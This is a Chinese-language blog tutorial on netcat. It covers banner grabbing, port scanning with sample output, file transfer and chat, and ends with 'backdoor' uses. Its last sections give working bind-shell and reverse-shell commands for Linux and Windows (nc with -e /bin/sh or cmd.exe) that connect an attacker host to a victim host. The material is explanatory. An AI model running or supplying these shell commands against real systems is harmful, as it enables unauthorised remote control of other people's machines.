netcat入门指南及nc后门的几种利用方式 来自 https://www.cnblogs.com/iAmSoScArEd/p/17103315.html - 我超怕的
1、查看nc工具帮助信息
nc -h #后期可以通过该命令查看已经忘记的命令参数,也可以用来探索具体有哪些功能
2、获取部分端口Banner信息
nc -nv 192.168.0.1 22 #-n表示不通过域名,直接使用IP地址(可以不加); -v表示输出详细的执行信息。 此方法仅部分协议生效如FTP、SSH等
3、连接指定端口
nc -nvv 192.168.0.1 80 #-vv表示输出最详细的执行信息,根据返回信息此方法亦可判断该端口是否开放
4、批量探测端口是否开放
nc -z 192.168.0.1 1-1024 #-z仅连接,不接收控制台输入内容,常用于扫描;
nc -zv 192.168.0.1 1-1024 #若需要查看连接失败的端口可加-v 或 -vv 参数;
nc -zvv 192.168.0.1 1-1024 -w 3 #解决扫描慢问题 ,-w 设置超时时间单位秒,根据需要自行调整。
【点击此处查看输出示例】
MacBook-Pro:~ root$ nc -zv 192.168.0.1 1-22
nc: connectx to 192.168.0.1 port 1 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 2 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 3 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 4 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 5 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 6 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 7 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 8 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 9 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 10 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 11 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 12 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 13 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 14 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 15 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 16 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 17 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 18 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 19 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.0.1 port 21 (tcp) failed: Connection refused
Connection to 192.168.0.1 port 22 [tcp/ssh] succeeded!
MacBook-Pro:~ root$ nc -z 192.168.0.1 1-22
Connection to 192.168.0.1 port 22 [tcp/ssh] succeeded!
5、监听本地端口
注意:这种监听方式,将会接受任何服务请求过来的数据,包括http,使用起来非常方便。
一般场景:
1、对方主机处于内网可出公网,但无公网ip,你无法主动连接对方主机,导致你无法下发控制命令。此时需要由你监听端口,等待对方主动连接你进行命令下发。
2、临时传输文件、传输文本等信息(6、7将会进行简单介绍)
监听命令:
nc -lp 6666
6、传输文件
假设需要把A主机(192.168.0.1)的 password.txt 给B主机(192.168.0.2)
第一步:B主机(192.168.0.2)执行 nc -lvp 6666 > password.txt
等待A主机发送文件后保存到当前目录
第二步:A主机(192.168.0.1)执行nc 192.168.0.2 6666 < password.txt
将当前目录的password.txt传送给B主机的6666端口
7、传输文本(1v1文本聊天)
假设两台主机:A主机(192.168.0.1) B主机(192.168.0.2)
任意主机作为被连端(可理解为服务端)等待连接。这里假设A为被连端 nc -lp 6666
另一台主机主动连接被连端(可理解为服务端),这里使用B连接A nc 192.168.0.1 6666
之后任意主机输入文本并回车发送对方都会收到该消息,任意一方离开会话断开。
8、主动连接对方Shell(正向Shell)
1、目标远程主机
Linux :nc -lvvp 6666 -e /bin/sh #-e将传来的数据重定向到指定程序处理
Windows: nc -lvvp 6666 -e c:\windows\system32\cmd.exe
2、攻击主机执行 nc 192.168.0.1 6666
连接到被攻击主机的指定端口即可获得对方的Shell
9、被动连接对方Shell(反弹Shell)
1、攻击主机执行 nc -lvvp 6666
等待被攻击主机主动连接建立 Shell 通道
2、被攻击主机执行
Linux :nc 192.168.0.2 6666 -e /bin/sh #-e将传来的数据重定向到指定程序处理
Windows: nc 192.168.0.2 6666 -e c:\windows\system32\cmd.exe